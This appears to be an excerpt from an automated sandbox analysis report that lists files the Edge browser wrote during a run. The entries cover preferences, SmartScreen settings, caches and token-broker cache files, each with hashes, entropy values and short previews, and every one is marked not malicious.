Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089801034669812
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW7di1zNtPM5kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynd6kzItSmd6qE7lFoC
MD5:	64B1730E6FC96751FBA69619B895F408
SHA1:	740A826252B4F021585E83AE6430378DB497E237
SHA-256:	5253A682ACA2076B1248513B404ADFF8B5A58CABFAA6FD25AB5E74FC6348C757
SHA-512:	6CF80B5222E35EC3CF1733B9778DF06385CAF63FA8FB9C106347D41A977D60C52FCC6C7225EC17D6BB90979871DC613E1B1C286901518D0C355DB806D5287A7E
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Reputation:	unknown
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Reputation:	unknown
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Reputation:	unknown
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Reputation:	unknown
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Reputation:	unknown
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Reputation:	unknown
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Reputation:	unknown
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Reputation:	unknown
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Reputation:	unknown
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Reputation:	unknown
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.012736311872148
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclX2SS+WdYV:YWLSGTt1o9LuLgfGBPAzkVj/T8llSp0
MD5:	DAC5CC39046BFCCAD9C450325E5DBFD5
SHA1:	B2F4848760C1E4E5CECEDB5810D6F41B21D3955A
SHA-256:	B9F4DDF0FCAA30F917FA3564CC2553971D4CE439F9ADBFC9D67D8D503E330D38
SHA-512:	1C950D67009EAC3E89E596ADE847208928FFD8B1EA0D4534F82EC515B6D9216CD060CFF97805DE74F6A402987E2E07B9C22777F91FA279691E08E2739C7B6C66
Malicious:	false
Reputation:	unknown
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732075297754238}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ef24cf60-daf6-48c8-aa51-480dd74cebce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46243
Entropy (8bit):	6.086322219398786
Encrypted:	false
SSDEEP:	768:rhMkbJrT8IeQcrQg8K1t+i1zNtRPcn79mxtFvlsJx5OtjfZECioVJDSgzMMd6qDX:rhMk1rT8HcKXE6lsJx5gjxEFoVtSmd68
MD5:	BA74A1FD13B513ABE222324958992244
SHA1:	2C3DCE55C0E84C4BA335565E33ACDC8D03E9D182
SHA-256:	C880ED751F5F821630F0B375D71B5836CCB5C3960998665F3FF6329BB34ABAAB
SHA-512:	948D61F21281B19BF3108BFB3040E9E791DF0FCCC9743324817DB9C8EF0932E61EB8DBBE3DC8ACAAC98C98CA034961869618B51256A8D66C98463B2A98F49644
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376448094978593","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"94f55d40-52bc-427e-ae3b-e01cc1960b8a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731974499"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fe62b2fb-fe91-455e-b2ca-7e0ff1e0ca81.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45000
Entropy (8bit):	6.094484747822605
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xW6Pi1zNtRPcni99mxtFvKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yOOEi4KtSmd6qE7lFoC
MD5:	72126506ED0E83FF2E18700C43678EBD
SHA1:	20C9C77D094195DF8A38F48E9807F9E28F6DF71D
SHA-256:	5FECED1364B7E924C448F18CC5B38926E0279B88DB3CBBDA49370AD7669500F4
SHA-512:	636AB44B8383546501F81E3E45FCED6187BD4D90F9FFFF443D34DBEE903055C126C27FFCED0D2223E71B1C031F685EE0BB753250F60BCA983D5C72F84EAFE951
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.843115763164232
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxjxl9Il8u7lLjECyqG5d7WyXlSTiGxEgeAd1rc:mCYrjECyqG3WbSge3
MD5:	91F5A3AF4D37B09820C5B7B5C106E1E0
SHA1:	245C53506CA222F8390F5C69E9422471D06600C6
SHA-256:	EAF98BF16EA47D5CAA1F32C72AD5ADB2C7CE7C5FC40BD84CBDECDA9D57E58565
SHA-512:	20DE136D636E7383A57F0B2D1B2E3F2415E25191C5EF115A9D45D868F046EBB18ED777BEA138F562943C2AF6190280FC87C935E9EEC8190329C97FE64518C51D
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.J.u.9.l.h.4.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.R.+.L.H.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9983543728405597
Encrypted:	false
SSDEEP:	48:uiTrlKxExnUxD9Il8u7lLCBapeDgUCRHPLWNOJszeu98i9iGqBX9y+eqksdSR8AD:LKYrCIcsVTJQ9v4NBo786DR8SFY+MFry
MD5:	B6676DB2B5551A39FA208271B3EB09C6
SHA1:	E8912B5BE72464EE0B4F4830565670E6CB63943B
SHA-256:	91F9362F20E0B085AF626EFD4B338A4D5D925AA26EEC366BC655296411CB43DE
SHA-512:	95B948A669DEC2DAA18CA5D5865FB68D7C418EDDB410AD6F100542377C07C4CFE1867A89600B9FD8B8CF58A7A9314AC31658812FC9843B93B37C1CE672B5025B
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".9.y.j.j.e.x.Y.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.R.+.L.H.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9050662032181505
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xksxl9Il8u7lLfWp9+NwyKrnapKSj/JAd/vc:abYrfWpEN5F3
MD5:	4F67FEA6630C0B3804044E2753BB8B43
SHA1:	06009A47A4D6B9EF1DE8D18D3631C7E404F97DB8
SHA-256:	C0E8637B78C31B8EF1F29687314C16D336E2B94541C0234C0B1927388698DE2D
SHA-512:	8FD9776C52F780E48688AE8667CD7AD0A4482971BCFB708371CB68578EC90F0AA6FDA7B4378D0C26F17AC383A7B2CCF9B3CC32B188BC707D8A73A3FD7AB76D6E
Malicious:	false
Reputation:	unknown
